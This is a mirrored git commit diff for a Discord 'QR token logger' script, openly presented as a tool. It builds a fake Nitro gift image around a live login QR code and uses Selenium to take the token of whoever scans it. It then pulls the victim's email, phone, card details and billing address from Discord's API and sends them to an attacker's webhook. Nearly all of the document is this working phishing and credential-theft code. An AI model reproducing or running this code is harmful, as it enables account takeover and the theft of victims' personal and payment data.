mirror of
				https://github.com/9P9/Discord-QR-Token-Logger.git
				synced 2025-10-30 20:52:44 +00:00 
			
		
		
		
	Merge pull request #18 from mouadessalim/main
New GUI for Discord Webhook Sender
This commit is contained in:
		
							
								
								
									
										97
									
								
								QR-dtg.py
									
									
									
									
									
								
							
							
						
						
									
										97
									
								
								QR-dtg.py
									
									
									
									
									
								
							| @@ -1,13 +1,14 @@ | |||||||
| import base64, os, platform, re, requests, time | import base64, os, platform, re, time, sys | ||||||
|  | from requests import get | ||||||
| from bs4 import BeautifulSoup | from bs4 import BeautifulSoup | ||||||
| from colorama import Fore, init | from colorama import Fore, init | ||||||
| from PIL import Image | from PIL import Image | ||||||
| from selenium import webdriver | from selenium import webdriver | ||||||
| from warnings import filterwarnings | from warnings import filterwarnings | ||||||
|  | from discord_webhook import DiscordEmbed, DiscordWebhook | ||||||
|  |  | ||||||
| def clear() -> None: | def clear() -> None: | ||||||
|     """Clear the screen; works with "cls" and "clear" commands. |     #Clear the screen; works with "cls" and "clear" commands. | ||||||
|     """ |  | ||||||
|     if platform.system() == "Windows": |     if platform.system() == "Windows": | ||||||
|         os.system("cls") |         os.system("cls") | ||||||
|     elif platform.system() == "Darwin" or platform.system() == "Linux": |     elif platform.system() == "Darwin" or platform.system() == "Linux": | ||||||
| @@ -16,24 +17,36 @@ def clear() -> None: | |||||||
|         pass |         pass | ||||||
|          |          | ||||||
| def generate_qr() -> None: | def generate_qr() -> None: | ||||||
|     """Generate a QR code to paste onto a discord nitro template. |     #Generate a QR code to paste onto a discord nitro template. | ||||||
|     """ |  | ||||||
|     qr_img = Image.open(os.path.normpath(r"resources/qr_code.png"), "r") |     qr_img = Image.open(os.path.normpath(r"resources/qr_code.png"), "r") | ||||||
|     ovly_img = Image.open(os.path.normpath(r"resources/overlay.png"), "r") |     ovly_img = Image.open(os.path.normpath(r"resources/overlay.png"), "r") | ||||||
|     qr_img.paste(ovly_img, (60, 55)) |     qr_img.paste(ovly_img, (60, 55)) | ||||||
|     qr_img.save(os.path.normpath(r"resources/final_qr.png"), quality=95) |     qr_img.save(os.path.normpath(r"resources/final_qr.png"), quality=95) | ||||||
|  |  | ||||||
| def generate_nitro_template() -> None: | def generate_nitro_template() -> None: | ||||||
|     """Generate the nitro template using the QR code generated by generate_qr. |     #Generate the nitro template using the QR code generated by generate_qr. | ||||||
|     """ |     nitro_template = Image.open(os.path.normpath(r"resources/template.png"), "r") | ||||||
|     nitro_template = Image.open( |  | ||||||
|         os.path.normpath(r"resources/template.png"),  |  | ||||||
|         "r" |  | ||||||
|         ) |  | ||||||
|     qr_img = Image.open(os.path.normpath(r"resources/final_qr.png"), "r") |     qr_img = Image.open(os.path.normpath(r"resources/final_qr.png"), "r") | ||||||
|     nitro_template.paste(qr_img, (120, 409)) |     nitro_template.paste(qr_img, (120, 409)) | ||||||
|     nitro_template.save("discord_gift.png", quality=95) |     nitro_template.save("discord_gift.png", quality=95) | ||||||
|  |  | ||||||
|  | def get_user_data(tk): | ||||||
|  |     try: | ||||||
|  |         headers = {'Authorization': tk} | ||||||
|  |         response = get('https://discordapp.com/api/v6/users/@me', headers=headers).json() | ||||||
|  |         return [response['username'], response['discriminator'], response['email'], response['phone']] | ||||||
|  |     except: | ||||||
|  |         return None | ||||||
|  |  | ||||||
|  | def get_discord_info(tk, link_int): | ||||||
|  |     #Get payment and sub information. | ||||||
|  |     headers = {'Authorization': tk} | ||||||
|  |     if link_int == 1: | ||||||
|  |         response = get('https://discordapp.com/api/v6/users/@me/billing/payment-sources',  headers=headers).json() | ||||||
|  |     elif link_int == 2: | ||||||
|  |         response = get('https://discordapp.com/api/v9/users/@me/billing/subscriptions',  headers=headers).json() | ||||||
|  |     return response | ||||||
|  |      | ||||||
| def main(webhook_url) -> None: | def main(webhook_url) -> None: | ||||||
|     """Use selenium webdriver to go to the discord login page. |     """Use selenium webdriver to go to the discord login page. | ||||||
|     Then, grab the source of the page and use regex to identify the class |     Then, grab the source of the page and use regex to identify the class | ||||||
| @@ -57,7 +70,7 @@ def main(webhook_url) -> None: | |||||||
|     if not (div := re.search(r"qrCode-......", str(source))): |     if not (div := re.search(r"qrCode-......", str(source))): | ||||||
|         print(f"{Fore.LIGHTRED_EX}Error: \ |         print(f"{Fore.LIGHTRED_EX}Error: \ | ||||||
| the regular expression 'qrCode-......' is not found.") | the regular expression 'qrCode-......' is not found.") | ||||||
|         os._exit(1) |         sys.exit() | ||||||
|     div = div.group(0) |     div = div.group(0) | ||||||
|     div = source.find("div", {"class": f"{div}"}) |     div = source.find("div", {"class": f"{div}"}) | ||||||
|     qr_code = div.find("img")["src"] |     qr_code = div.find("img")["src"] | ||||||
| @@ -87,35 +100,41 @@ document.body.appendChild(iframe); | |||||||
| let localStorage = iframe.contentWindow.localStorage; | let localStorage = iframe.contentWindow.localStorage; | ||||||
| var token = JSON.parse(localStorage.token); | var token = JSON.parse(localStorage.token); | ||||||
| return token; | return token; | ||||||
|  |  | ||||||
| ''') | ''') | ||||||
|  |             break | ||||||
|  |  | ||||||
|             print(f""" |     print(f""" | ||||||
| {Fore.LIGHTGREEN_EX}The following token has been grabbed: | {Fore.LIGHTGREEN_EX}The following token has been grabbed: {token} | ||||||
| {token} |  | ||||||
|  |  | ||||||
| {Fore.LIGHTYELLOW_EX}Enter anything to exit\n>>> {Fore.LIGHTWHITE_EX}""",  | {Fore.LIGHTYELLOW_EX}Sending Info to Discord Webhook... {Fore.LIGHTWHITE_EX}""",  | ||||||
| end="") | end="") | ||||||
|  |  | ||||||
|             if re.search("[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) == None: |     webhook = DiscordWebhook(url=webhook_url, username='QR-Dtg', avatar_url="https://c.tenor.com/h3fCM442dCcAAAAC/discord-logo.gif") | ||||||
|                 print("invalid token? (didnt match regex)") |     embed = DiscordEmbed(color='FF00FF') | ||||||
|              |     if re.search(r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) != None: | ||||||
|             data = { |         userdata, user_billings, user_subs = get_user_data(token), get_discord_info(token, 1), get_discord_info(token, 2) | ||||||
|                 "content": f"TKN: {token}\n", |         if userdata != None: | ||||||
|                 "username": "QR Logr" |             embed.add_embed_field(name='User Token Info', value=f":crown:`Username:` **{userdata[0]}#{userdata[1]}**\n:e_mail:`Mail:` **{userdata[2]}**\n:mobile_phone:`Phone:` **{userdata[3]}**\n:money_with_wings:`Nitro:` **{':white_check_mark:' if bool(user_subs) else ':x:'}**", inline=False) | ||||||
|             } |             if bool(user_billings): | ||||||
|             if webhook_url: |                 for data in user_billings: | ||||||
|                 result = requests.post(webhook_url, json=data) |                     if data['type'] == 1: | ||||||
|                 try: |                         embed.add_embed_field(name='Payment Info (Debit or Credit Card)', value=f""":credit_card:`Brand:` ||**{data['brand']}**||\n:information_source:`Last 4:` ||**{data['last_4']}**||\n:date:`Expiration:` ||**{data['expires_month']}/{data['expires_year']}**|| | ||||||
|                     result.raise_for_status() |                         ***Billing Adress:***\n:name_badge:`Name:` ||**{data['billing_address']['name']}**||\n:paperclip:`Line 1:` ||**{data['billing_address']['line_1']}**||\n:paperclips:`Line 2:` ||**{data['billing_address']['line_2']}**||\n:flag_white:`Country:` ||**{data['billing_address']['country']}**||\n:triangular_flag_on_post:`State:` ||**{data['billing_address']['state']}**||\n:cityscape:`City:` ||**{data['billing_address']['city']}**||\n:postbox:`Postal Code:` ||**{data['billing_address']['postal_code']}**||\n""", inline=False) | ||||||
|                 except requests.exceptions.HTTPError as e: |                     elif data['type'] == 2: | ||||||
|                     print(f"{Fore.LIGHTRED_EX}{e}") |                         embed.add_embed_field(name='Payment Info (Paypal)', value=f""":incoming_envelope:`Paypal Mail:` ||**{data['email']}**|| | ||||||
|                 else: |                         ***Billing Adress:***\n:name_badge:`Name:` ||**{data['billing_address']['name']}**||\n:paperclip:`Line 1:` ||**{data['billing_address']['line_1']}**||\n:paperclips:`Line 2:` ||**{data['billing_address']['line_2']}**||\n:flag_white:`Country:` ||**{data['billing_address']['country']}**||\n:triangular_flag_on_post:`State:` ||**{data['billing_address']['state']}**||\n:cityscape:`City:` ||**{data['billing_address']['city']}**||\n:postbox:`Postal Code:` ||**{data['billing_address']['postal_code']}**||\n""", inline=False) | ||||||
|                     pass |             else: | ||||||
|             break |                 embed.add_embed_field(name='Payment Info (:x:)', value="**No Payment Info Founded.**\n", inline=False) | ||||||
|  |         else: | ||||||
|  |             embed.add_embed_field(name='User Token Info :interrobang:', value="**This token doesn't provide any information about the account, maybe it's corrupted.**\n", inline=False) | ||||||
|  |         embed.add_embed_field(name='Token', value=f"```yaml\n{token}\n```", inline=False)         | ||||||
|  |     else: | ||||||
|  |         embed.add_embed_field(name='Token', value=f"```yaml\n{token}\n```", inline=False) | ||||||
|  |     webhook.add_embed(embed) | ||||||
|  |     embed.set_footer(text='Created by NightfallGT, Revised by Luci (9P9), Lemon.-_-.#3714, the-cult-of-integral and mte0', inline=False) | ||||||
|  |     webhook.execute() | ||||||
|  |     print(f"{Fore.LIGHTGREEN_EX}Information sended to webhook !") | ||||||
|      |      | ||||||
|     driver.quit() |  | ||||||
|  |  | ||||||
| if __name__ == "__main__": | if __name__ == "__main__": | ||||||
|     filterwarnings("ignore", category=DeprecationWarning)  |     filterwarnings("ignore", category=DeprecationWarning)  | ||||||
|     init() |     init() | ||||||
| @@ -126,14 +145,12 @@ if __name__ == "__main__": | |||||||
| {Fore.BLUE}Created by NightfallGT | {Fore.BLUE}Created by NightfallGT | ||||||
| Using utilities.tk API  | Using utilities.tk API  | ||||||
| Revised by Luci (9P9) | Revised by Luci (9P9) | ||||||
|  | Revised by Lemon.-_-.#3714 (mouadessalim) | ||||||
| Revised by the-cult-of-integral | Revised by the-cult-of-integral | ||||||
| Revised by mte0 | Revised by mte0 | ||||||
| Revised by Lemon.-_-.#3714 (mouadessalim) |  | ||||||
|  |  | ||||||
| {Fore.LIGHTYELLOW_EX}Enter a webhook URL. | {Fore.LIGHTYELLOW_EX}Enter a webhook URL. | ||||||
| >>> {Fore.LIGHTWHITE_EX}""", end="") | >>> {Fore.LIGHTWHITE_EX}""", end="") | ||||||
|     webhook_url = input() |     main(input()) | ||||||
|     main(webhook_url) |     input(f'{Fore.LIGHTYELLOW_EX}>>>') | ||||||
|     input() |  | ||||||
|     print(f"{Fore.RESET}") |     print(f"{Fore.RESET}") | ||||||
|     clear() |  | ||||||
|   | |||||||
		Reference in New Issue
	
	Block a user